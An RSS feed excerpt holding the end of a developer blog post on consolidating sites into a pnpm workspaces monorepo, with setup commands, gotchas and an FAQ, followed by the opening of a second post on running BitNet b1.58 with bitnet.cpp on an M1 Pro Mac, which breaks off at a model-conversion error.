&lt;p&gt;The shared library lives at &lt;code&gt;packages/shared/&lt;/code&gt; with this identity:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;@didof/shared&quot;,
  &quot;version&quot;: &quot;0.0.1&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any site that wants to use it declares a dependency with the &lt;code&gt;workspace:*&lt;/code&gt; protocol:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;didof.dev&quot;,
  &quot;dependencies&quot;: {
    &quot;@didof/shared&quot;: &quot;workspace:*&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;*&lt;/code&gt; means &quot;whatever version is in the workspace right now.&quot; On &lt;code&gt;pnpm install&lt;/code&gt;, pnpm creates a symlink from &lt;code&gt;packages/didof.dev/node_modules/@didof/shared&lt;/code&gt; pointing at &lt;code&gt;packages/shared/&lt;/code&gt;. Edits in shared show up instantly in every consumer: no rebuild, no publish, no &lt;code&gt;npm link&lt;/code&gt; of the day.&lt;/p&gt;
&lt;p&gt;When you actually publish the workspace (say, releasing &lt;code&gt;@didof/shared&lt;/code&gt; to npm for public consumption), pnpm rewrites &lt;code&gt;workspace:*&lt;/code&gt; to the real version number at pack time. The published &lt;code&gt;package.json&lt;/code&gt; looks normal to any consumer outside the workspace. Inside the workspace, development stays symlinked.&lt;/p&gt;
&lt;p&gt;Here&apos;s what &lt;code&gt;packages/shared/package.json&lt;/code&gt;&apos;s &lt;code&gt;exports&lt;/code&gt; map looks like in practice:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;@didof/shared&quot;,
  &quot;exports&quot;: {
    &quot;.&quot;: &quot;./index.ts&quot;,
    &quot;./plugins&quot;: &quot;./plugins/index.ts&quot;,
    &quot;./schemas&quot;: &quot;./schemas/index.ts&quot;,
    &quot;./astro-config-base&quot;: &quot;./astro-config-base.ts&quot;,
    &quot;./components/CodeBlockScript.astro&quot;: &quot;./components/CodeBlockScript.astro&quot;,
    &quot;./styles/codeblock.css&quot;: &quot;./styles/codeblock.css&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Consumers import specific entrypoints:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { baseBlogSchema } from &quot;@didof/shared/schemas&quot;;
import { codeblockCopyTransformer } from &quot;@didof/shared/plugins&quot;;
import &quot;@didof/shared/styles/codeblock.css&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each subpath maps to a specific file. You keep the barrel-import ergonomics without pulling the whole library into a bundle when only one piece is needed.&lt;/p&gt;
&lt;h2&gt;Setting Up the Workspace From Scratch&lt;/h2&gt;
&lt;p&gt;If you&apos;re starting from zero (or consolidating existing repos the way I did), the bootstrap is maybe a dozen commands. Here&apos;s the full sequence.&lt;/p&gt;
&lt;p&gt;Create the root and init a package:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir content-hub &amp;amp;&amp;amp; cd content-hub
pnpm init
git init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Declare which folders are workspace members:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;gt; pnpm-workspace.yaml &amp;lt;&amp;lt;&apos;EOF&apos;
packages:
  - &quot;packages/*&quot;
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Move each existing project into &lt;code&gt;packages/&amp;lt;name&amp;gt;&lt;/code&gt;. For a greenfield package, &lt;code&gt;mkdir packages/&amp;lt;name&amp;gt;&lt;/code&gt; and &lt;code&gt;pnpm init&lt;/code&gt; inside it. Either way pnpm discovers them on the next install.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir packages
mv ../didof.dev packages/
mv ../velocaption.com packages/
# ... one mv per project
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every moved project keeps its own &lt;code&gt;package.json&lt;/code&gt;, but its individual &lt;code&gt;pnpm-lock.yaml&lt;/code&gt; and &lt;code&gt;node_modules&lt;/code&gt; are obsolete. Clean them so the monorepo-root lockfile takes over:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rm -rf packages/*/node_modules packages/*/pnpm-lock.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Install everything from the new root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verify pnpm found every package:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm -r ls --depth -1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That prints each workspace member with its declared dependencies. If a package is missing, check that its &lt;code&gt;package.json&lt;/code&gt; sits directly in &lt;code&gt;packages/&amp;lt;name&amp;gt;/&lt;/code&gt;, not nested inside another folder.&lt;/p&gt;
&lt;p&gt;From here, &lt;code&gt;workspace:*&lt;/code&gt; references resolve automatically, &lt;code&gt;--filter&lt;/code&gt; scripts work, and shared dev tooling goes at the root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm add -D -w typescript tsx sharp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s the entire bootstrap. Fewer moving parts than most single-project setups.&lt;/p&gt;
&lt;h2&gt;Running Scripts with &lt;code&gt;--filter&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;--filter&lt;/code&gt; flag is where most of my daily work happens. A few patterns that earn their keep:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Run dev on one site:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm --filter didof.dev dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Build every package in topological order&lt;/strong&gt; (respects &lt;code&gt;workspace:*&lt;/code&gt; deps):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm -r build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pnpm sees that &lt;code&gt;didof.dev&lt;/code&gt; depends on &lt;code&gt;@didof/shared&lt;/code&gt; and builds shared first. If you swap pnpm for npm workspaces you&apos;d need to orchestrate this yourself or rely on a runner like Turborepo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Run a command in every package that matches a pattern:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm --filter &quot;./packages/*&quot; check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Add a dependency to a specific package:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm --filter didof.dev add @radix-ui/react-dialog
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Add a root-level dev dependency&lt;/strong&gt; (the &lt;code&gt;-w&lt;/code&gt; flag for workspace root):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm add -D -w sharp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That last one is the first gotcha I hit. More on that below.&lt;/p&gt;
&lt;h2&gt;Subpath Exports Across Packages&lt;/h2&gt;
&lt;p&gt;Here&apos;s where monorepos start earning their keep for real.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;packages/velocaption.com/&lt;/code&gt; has a tool registry at &lt;code&gt;src/features/tools/registry.ts&lt;/code&gt; that exports a &lt;code&gt;TOOL_REGISTRY&lt;/code&gt; object with 16 entries. My &lt;code&gt;didof.dev&lt;/code&gt; landing page wants to show a subset of those tools as a &quot;Free Tools by Velocaption&quot; section.&lt;/p&gt;
&lt;p&gt;Before the monorepo, the only way to do this was to fetch &lt;code&gt;https://velocaption.com/tools/rss.xml&lt;/code&gt; at build time, parse the XML, and hope the deployed site was up. Now I add a subpath export to velocaption&apos;s &lt;code&gt;package.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;velocaption.com&quot;,
  &quot;exports&quot;: {
    &quot;.&quot;: &quot;./...&quot;,
    &quot;./tools-registry&quot;: &quot;./src/features/tools/registry.ts&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add it as a workspace dep in &lt;code&gt;didof.dev&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;dependencies&quot;: {
    &quot;velocaption.com&quot;: &quot;workspace:*&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now didof.dev imports the registry directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { TOOL_REGISTRY } from &quot;velocaption.com/tools-registry&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Astro/Vite resolves the TypeScript at build time. No compilation step, no JSON generation, no HTTP request to production. The landing page renders from the same source of truth the velocaption site uses for its own tool pages.&lt;/p&gt;
&lt;p&gt;For content that&apos;s a little more shape-y (like blog posts with frontmatter), I wrote a small build-time aggregator that globs sibling &lt;code&gt;src/content/blog/*/index.mdx&lt;/code&gt;, parses frontmatter, copies cover images into didof.dev&apos;s public folder, and emits JSON. The pattern is the same: &lt;strong&gt;filesystem reads, not HTTP&lt;/strong&gt;. Sibling packages are just code and data on disk.&lt;/p&gt;
&lt;h2&gt;Five Gotchas&lt;/h2&gt;
&lt;p&gt;These cost me time. They shouldn&apos;t cost you any.&lt;/p&gt;
&lt;h3&gt;1. &lt;code&gt;pnpm deploy&lt;/code&gt; is a built-in, not your &lt;code&gt;deploy&lt;/code&gt; script&lt;/h3&gt;
&lt;p&gt;I wrote a &lt;code&gt;ship&lt;/code&gt; npm script that chained &lt;code&gt;pnpm check &amp;amp;&amp;amp; pnpm build &amp;amp;&amp;amp; pnpm deploy&lt;/code&gt;. The &lt;code&gt;pnpm deploy&lt;/code&gt; step failed every time with &lt;code&gt;ERR_PNPM_NOTHING_TO_DEPLOY&lt;/code&gt;. Took me ten minutes to find out: &lt;code&gt;pnpm deploy&lt;/code&gt; is a pnpm subcommand that copies a package&apos;s production dependencies somewhere. It doesn&apos;t run my &lt;code&gt;deploy&lt;/code&gt; npm script.&lt;/p&gt;
&lt;p&gt;The fix is &lt;code&gt;pnpm run deploy&lt;/code&gt; (explicit script invocation):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;scripts&quot;: {
    &quot;deploy&quot;: &quot;wrangler pages deploy dist --project-name didof-dev&quot;,
    &quot;ship&quot;: &quot;pnpm check &amp;amp;&amp;amp; pnpm build &amp;amp;&amp;amp; pnpm run deploy&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any script name that collides with a pnpm built-in needs &lt;code&gt;pnpm run &amp;lt;name&amp;gt;&lt;/code&gt; to disambiguate. The built-in commands to watch out for: &lt;code&gt;deploy&lt;/code&gt;, &lt;code&gt;install&lt;/code&gt;, &lt;code&gt;add&lt;/code&gt;, &lt;code&gt;remove&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt;, &lt;code&gt;link&lt;/code&gt;, &lt;code&gt;pack&lt;/code&gt;, &lt;code&gt;publish&lt;/code&gt;, &lt;code&gt;start&lt;/code&gt;, &lt;code&gt;test&lt;/code&gt;. Most of those are obvious (don&apos;t override &lt;code&gt;install&lt;/code&gt;), but &lt;code&gt;deploy&lt;/code&gt; and &lt;code&gt;start&lt;/code&gt; are common enough to conflict.&lt;/p&gt;
&lt;h3&gt;2. &lt;code&gt;pnpm add&lt;/code&gt; without &lt;code&gt;-w&lt;/code&gt; puts deps in the wrong place&lt;/h3&gt;
&lt;p&gt;Running &lt;code&gt;pnpm add sharp&lt;/code&gt; from the monorepo root looks like it should add sharp to the root&apos;s &lt;code&gt;package.json&lt;/code&gt;. It does not. pnpm will refuse, or worse, add it to a random package depending on which directory you&apos;re in.&lt;/p&gt;
&lt;p&gt;To add to the root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm add -D -w sharp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;-w&lt;/code&gt; is short for &lt;code&gt;--workspace-root&lt;/code&gt;. To add to a specific package from anywhere:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm --filter didof.dev add @radix-ui/react-dialog
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Vite&apos;s &lt;code&gt;fs.allow&lt;/code&gt; narrows when you have multiple Astro apps&lt;/h3&gt;
&lt;p&gt;After adding &lt;code&gt;linkpreview.ai&lt;/code&gt; as a fourth Astro app, running &lt;code&gt;pnpm --filter didof.dev dev&lt;/code&gt; started emitting this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[vite] The request url &quot;.../node_modules/.pnpm/astro@.../dist/runtime/client/dev-toolbar/entrypoint.js&quot; is outside of Vite serving allow list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vite&apos;s dev server has an allowlist of paths it&apos;s willing to serve files from. With one Astro app in a repo, it correctly detects the project root and includes the hoisted &lt;code&gt;node_modules/.pnpm/&lt;/code&gt; store two levels up. With multiple sibling Astro apps, the auto-detection gets narrower and excludes the store, which breaks Astro&apos;s own dev toolbar.&lt;/p&gt;
&lt;p&gt;Fix: explicitly tell Vite the whole monorepo is fair game, in each Astro app&apos;s config:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { fileURLToPath } from &quot;node:url&quot;;
import { dirname, resolve } from &quot;node:path&quot;;

const MONOREPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), &quot;../..&quot;);

export default defineConfig({
  vite: {
    server: {
      fs: {
        allow: [MONOREPO_ROOT],
      },
    },
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Native-binding packages need &lt;code&gt;approve-builds&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Packages like &lt;code&gt;sharp&lt;/code&gt;, &lt;code&gt;esbuild&lt;/code&gt;, and &lt;code&gt;@mediapipe/hands&lt;/code&gt; ship native binaries that install via postinstall scripts. pnpm 10+ blocks those scripts by default for security. The first time you try to use sharp, it errors with &quot;postinstall was skipped.&quot;&lt;/p&gt;
&lt;p&gt;Fix: run &lt;code&gt;pnpm approve-builds&lt;/code&gt; once and pick the packages you trust. pnpm records them in your &lt;code&gt;.npmrc&lt;/code&gt; or &lt;code&gt;package.json&lt;/code&gt; so future installs run their postinstalls automatically.&lt;/p&gt;
&lt;h3&gt;5. &lt;code&gt;workspace:*&lt;/code&gt; does not work for dynamic &lt;code&gt;import()&lt;/code&gt; from Node scripts&lt;/h3&gt;
&lt;p&gt;My build scripts do &lt;code&gt;await import(&quot;velocaption.com/tools-registry&quot;)&lt;/code&gt; at build time. With Vite handling the import, the workspace resolution works. With a plain Node &lt;code&gt;tsx&lt;/code&gt; script running outside Vite&apos;s resolution, it does not: Node&apos;s module resolver has no idea what &lt;code&gt;velocaption.com&lt;/code&gt; is.&lt;/p&gt;
&lt;p&gt;Fix for build scripts that need to reach into sibling packages: resolve absolute paths with &lt;code&gt;node:path&lt;/code&gt; and use &lt;code&gt;pathToFileURL&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { resolve } from &quot;node:path&quot;;
import { pathToFileURL } from &quot;node:url&quot;;

const registryPath = resolve(
  __dirname,
  &quot;../../velocaption.com/src/features/tools/registry.ts&quot;,
);
const mod = await import(pathToFileURL(registryPath).href);
const registry = mod.TOOL_REGISTRY;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives up the package-name aliasing but works from any Node context. For scripts that only run through Vite (e.g. inside Astro pages), stick with &lt;code&gt;workspace:*&lt;/code&gt; imports.&lt;/p&gt;
&lt;h2&gt;When to Reach for Turborepo or Nx&lt;/h2&gt;
&lt;p&gt;I don&apos;t use either, and I&apos;ve been happy with plain pnpm workspaces for four apps. But there&apos;s a threshold.&lt;/p&gt;
&lt;p&gt;Turborepo earns its keep when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You have so many packages that topological ordering alone isn&apos;t enough and you need smart caching of build outputs across runs&lt;/li&gt;
&lt;li&gt;CI needs to skip rebuilds of packages whose source files haven&apos;t changed&lt;/li&gt;
&lt;li&gt;You want a built-in dependency graph visualizer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nx earns its keep when you&apos;re in a strongly-typed polyglot monorepo (TypeScript plus Python plus Go) or when your team wants generators to scaffold new packages with the same shape.&lt;/p&gt;
&lt;p&gt;For &quot;four websites plus a shared lib, all in TypeScript, built independently,&quot; pnpm workspaces is the correct tool. Don&apos;t let FOMO push you onto a bigger runner before you&apos;ve felt the specific pain it solves.&lt;/p&gt;
&lt;h2&gt;Troubleshooting&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;Cause&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ERR_PNPM_NOTHING_TO_DEPLOY&lt;/code&gt; from your &lt;code&gt;ship&lt;/code&gt; script&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pnpm deploy&lt;/code&gt; is a built-in&lt;/td&gt;
&lt;td&gt;Use &lt;code&gt;pnpm run deploy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pnpm add&lt;/code&gt; behaves oddly from the repo root&lt;/td&gt;
&lt;td&gt;Missing &lt;code&gt;-w&lt;/code&gt; flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pnpm add -D -w &amp;lt;pkg&amp;gt;&lt;/code&gt; to add to root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vite dev server warns about &lt;code&gt;fs.allow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Multiple Astro apps narrow the allowlist&lt;/td&gt;
&lt;td&gt;Add &lt;code&gt;server.fs.allow: [monorepoRoot]&lt;/code&gt; to each Astro&apos;s Vite config&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pnpm install&lt;/code&gt; logs &lt;code&gt;postinstall was skipped for sharp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;pnpm 10+ security default&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pnpm approve-builds&lt;/code&gt; once&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sibling workspace import fails in a plain Node script&lt;/td&gt;
&lt;td&gt;Node module resolver can&apos;t see workspace: links&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pathToFileURL(resolve(__dirname, &quot;...&quot;))&lt;/code&gt; for dynamic import&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-package type imports not resolving&lt;/td&gt;
&lt;td&gt;Missing &lt;code&gt;exports&lt;/code&gt; map on the sibling&apos;s package.json&lt;/td&gt;
&lt;td&gt;Add subpath exports, reimport&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3&gt;Should I use pnpm workspaces for a two-package repo?&lt;/h3&gt;
&lt;p&gt;Yes, even for two. The overhead is a three-line YAML file. The payoff is a single lockfile, cross-package references via &lt;code&gt;workspace:*&lt;/code&gt;, and the ability to grow without restructuring. Two becomes four becomes seven, and you don&apos;t want to be migrating your dep model at that point.&lt;/p&gt;
&lt;h3&gt;Do I need to publish &lt;code&gt;@didof/shared&lt;/code&gt; to npm for the workspace to work?&lt;/h3&gt;
&lt;p&gt;No. Workspace dependencies resolve through local symlinks at install time. Publishing is only needed when consumers outside the workspace want to pull your shared library. All the code in this post runs entirely locally with no registry round-trip.&lt;/p&gt;
&lt;h3&gt;What about CI? Does pnpm workspace break GitHub Actions?&lt;/h3&gt;
&lt;p&gt;Not at all. The pnpm/action-setup GitHub Action handles workspaces out of the box. One &lt;code&gt;pnpm install&lt;/code&gt; at the root resolves the entire graph. Your CI steps become &lt;code&gt;pnpm --filter &amp;lt;package&amp;gt; build&lt;/code&gt; or &lt;code&gt;pnpm -r test&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Can I have different TypeScript versions per package?&lt;/h3&gt;
&lt;p&gt;Technically yes, but I wouldn&apos;t. Put TypeScript at the root as a devDependency, let every package share the same version, and use per-package &lt;code&gt;tsconfig.json&lt;/code&gt; files with &lt;code&gt;extends&lt;/code&gt; to differentiate compile options. Version drift across packages creates confusing type errors that are hard to debug.&lt;/p&gt;
&lt;h3&gt;Does &lt;code&gt;workspace:*&lt;/code&gt; work with Yarn Berry or npm workspaces?&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;workspace:*&lt;/code&gt; protocol originated in pnpm and is now supported by Yarn Berry and npm 7+. The filter commands differ: npm uses &lt;code&gt;--workspace=&amp;lt;name&amp;gt;&lt;/code&gt;, Yarn uses &lt;code&gt;yarn workspace &amp;lt;name&amp;gt; &amp;lt;cmd&amp;gt;&lt;/code&gt;, pnpm uses &lt;code&gt;--filter &amp;lt;name&amp;gt;&lt;/code&gt;. The underlying workspace resolution is similar across all three.&lt;/p&gt;
&lt;h2&gt;Closing&lt;/h2&gt;
&lt;p&gt;The switch cost me one afternoon of moving files and two additional hours fighting the five gotchas above. It&apos;s paid for itself every week since. Shared library edits propagate instantly. Cross-site data flows through direct filesystem reads. Installing dependencies takes seconds because everything&apos;s already in the store. Lockfile drift between sites is gone.&lt;/p&gt;
&lt;p&gt;If you have more than one related project sharing a codebase, there&apos;s probably a pnpm workspace in your future. Start with three lines of YAML.&lt;/p&gt;
</content:encoded></item><item><title>Run a 1-Bit LLM on Your Mac with bitnet.cpp</title><link>https://didof.dev/blog/run-bitnet-on-mac-m1/</link><guid isPermaLink="true">https://didof.dev/blog/run-bitnet-on-mac-m1/</guid><description>A first-person walkthrough of running BitNet b1.58 on an M1 Pro: real benchmarks (22.5 tok/s), five real gotchas, a 3B model in under 1 GB of RAM, and the GPU never touched.</description><pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { ThreadScalingChart } from &quot;@/components/blog/charts/thread-scaling-chart&quot;;&lt;/p&gt;
&lt;p&gt;You probably think running a real LLM locally on your Mac needs heavy GPU tooling, CUDA envy, or at least a pile of Metal shaders. Ten minutes from now, you&apos;ll have a 3.3-billion-parameter model chatting on your laptop in under 1 GB of RAM, and the GPU stays completely idle.&lt;/p&gt;
&lt;p&gt;That is what &lt;a href=&quot;https://github.com/microsoft/BitNet&quot;&gt;bitnet.cpp&lt;/a&gt; does on Apple Silicon. Microsoft&apos;s inference framework for &lt;a href=&quot;https://arxiv.org/abs/2402.17764&quot;&gt;BitNet b1.58&lt;/a&gt; leans on the trick we broke down in the &lt;a href=&quot;/blog/bitnet-b158-1-bit-llm&quot;&gt;explainer post&lt;/a&gt;: ternary weights replace matrix multiplications with integer additions. ARM cores eat that for breakfast. GPUs give it nothing extra.&lt;/p&gt;
&lt;p&gt;This post is the hands-on companion. Every command, every real number, every gotcha, captured live on an M1 Pro.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BitNet b1.58 3B runs on an M1 Pro at &lt;strong&gt;22.5 tokens/s&lt;/strong&gt; using only CPU, with &lt;strong&gt;0/27 layers on GPU&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The entire model footprint: &lt;strong&gt;873 MB on disk, ~1.3 GB in memory&lt;/strong&gt;. Smaller than most browser tabs&lt;/li&gt;
&lt;li&gt;Adding efficiency cores at &lt;code&gt;-t 8&lt;/code&gt; on an 8-core M1 Pro &lt;strong&gt;halves&lt;/strong&gt; throughput (classic Apple asymmetric-scheduling trap)&lt;/li&gt;
&lt;li&gt;Five real gotchas: pyenv shadowing, an architecture the converter rejects, a base model parroting your prompt, and more&lt;/li&gt;
&lt;li&gt;Setup time end to end: &lt;strong&gt;under 15 minutes&lt;/strong&gt; if you skip the traps this post flags&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;What You Will Need&lt;/h2&gt;
&lt;p&gt;Nothing exotic. Here is the minimum kit, with the versions I used:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Mac with Apple Silicon (M1, M2, M3, M4). I&apos;m on an M1 Pro, 8-core variant&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Python 3.12+&lt;/strong&gt; (managed via &lt;a href=&quot;https://github.com/pyenv/pyenv&quot;&gt;pyenv&lt;/a&gt; here, though conda works too)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CMake 3.22+&lt;/strong&gt;. I used 4.2.1, installed via &lt;code&gt;brew install cmake&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Xcode Command Line Tools&lt;/strong&gt; via &lt;code&gt;xcode-select --install&lt;/code&gt;, which ships Apple clang 17&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git&lt;/strong&gt; with submodule support&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;~10 GB free disk&lt;/strong&gt;. The full fp16 model downloads before quantization shrinks it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One thing to flag upfront: the &lt;a href=&quot;https://github.com/microsoft/BitNet&quot;&gt;bitnet.cpp README&lt;/a&gt; asks for Clang 18+. Apple clang&apos;s version numbering diverges from upstream LLVM. Apple clang 17 is based on LLVM 19 internals, and CMake accepted it with no complaints in my run. If your build fails a clang version check on a different Xcode release, &lt;code&gt;brew install llvm@18&lt;/code&gt; is the escape hatch.&lt;/p&gt;
&lt;h2&gt;Clone the Repo and Set Up Python&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;bitnet.cpp&lt;/code&gt; vendors &lt;a href=&quot;https://github.com/ggerganov/llama.cpp&quot;&gt;llama.cpp&lt;/a&gt; as a submodule, and the entire inference runtime sits inside &lt;code&gt;3rdparty/&lt;/code&gt;. Clone with &lt;code&gt;--recursive&lt;/code&gt; or you&apos;ll get a phantom error ten minutes into the build.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone --recursive https://github.com/microsoft/BitNet.git
cd BitNet
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the first trap. I pin Python 3.12 via pyenv because ML wheels (especially torch 2.2.x, which the requirements file pins) have spotty Python 3.13 support. The obvious move:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pyenv local 3.12.10
python -m venv .venv
source .venv/bin/activate
python --version  # expect 3.12.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Except my &lt;code&gt;python --version&lt;/code&gt; still reported 3.13.3. &lt;code&gt;pyenv local&lt;/code&gt; writes a &lt;code&gt;.python-version&lt;/code&gt; file, but &lt;code&gt;PYENV_VERSION&lt;/code&gt; as an environment variable &lt;strong&gt;overrides&lt;/strong&gt; it. I didn&apos;t realize I had &lt;code&gt;PYENV_VERSION=3.13.3&lt;/code&gt; exported from an earlier shell session.&lt;/p&gt;
&lt;p&gt;{/* [PERSONAL EXPERIENCE] */}
The symptom showed up ten commands later as a torch installation error. pip couldn&apos;t find &lt;code&gt;torch~=2.2.1&lt;/code&gt; on Python 3.13 because that version&apos;s wheels weren&apos;t built for it. Fix: bypass the shim entirely and call the interpreter by its absolute path.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/.pyenv/versions/3.12.10/bin/python -m venv .venv
source .venv/bin/activate
python --version  # really 3.12.10 now
pip install --upgrade pip
pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Takes 2 to 5 minutes. Watch for a torch wheel with &lt;code&gt;+cu&lt;/code&gt; in the name. On arm64 macOS you should get a pure CPU wheel. I ended up with torch 2.2.2, transformers 4.57.6, huggingface-hub 0.36.2.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lesson for the post:&lt;/strong&gt; &lt;code&gt;python --version&lt;/code&gt; inside the venv, &lt;em&gt;before&lt;/em&gt; you &lt;code&gt;pip install&lt;/code&gt; anything. One line of caution saves five minutes of googling.&lt;/p&gt;
&lt;h2&gt;Build bitnet.cpp and Download a Model (in One Command)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;setup_env.py&lt;/code&gt; bundles three jobs: download the model from Hugging Face, run CMake to build the C++ binaries, and quantize the weights to a CPU-friendly format. My first attempt, following the official example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python setup_env.py -hr microsoft/BitNet-b1.58-2B-4T -q i2_s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CMake compiled fine. Download succeeded. Then the conversion step crashed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NotImplementedError: Architecture &apos;BitNetForCausalLM&apos; not supported!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] */}
